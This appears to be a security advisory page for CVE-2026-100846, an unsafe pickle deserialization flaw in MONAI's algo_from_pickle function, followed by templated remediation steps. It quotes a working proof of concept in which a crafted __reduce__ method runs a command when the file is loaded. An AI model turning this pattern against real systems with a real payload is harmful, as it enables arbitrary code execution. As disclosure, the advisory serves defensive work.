Unsafe Deserialization in MONAI (CVE-2026-100846)
Summary
Vulnerability in MONAI (CVE-2026-100846). Successful exploitation can lead to full system takeover.
Original description
The description as published by the source.
Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
Ultimately, it will trigger pickle.load through a file to identify the command execution.
Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Impact
Arbitrary code execution
Repair suggestions
Verify the data source and content before deserializing, or use a safe deserialization method
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-100846 has been found in MONAI.
Successful exploitation can lead to full system takeover. CVSS score: 7.6/10.
What to do: apply the vendor's official patched release.
If unsure, ask your IT team or search "MONAI CVE-2026-100846" on the vendor's site.
CVE-2026-100846 (MONAI) — CWE-502 / CVSS v3 7.6
Attack vector: remote (network-reachable)
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Unsafe deserialization (CWE-502) exists in MONAI.
Check the vendor advisory for the affected versions of MONAI.
Severity: High (CVSS 7.6/10). Successful exploitation can lead to full system takeover.
Update to the patched release per vendor advisory.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'MONAI' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'MONAI' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
MONAIを grep し、稼働しているサービス・バージョンを把握する。 -
2Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory vulncheck.com
- package github.com
- web github.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com
- web github.com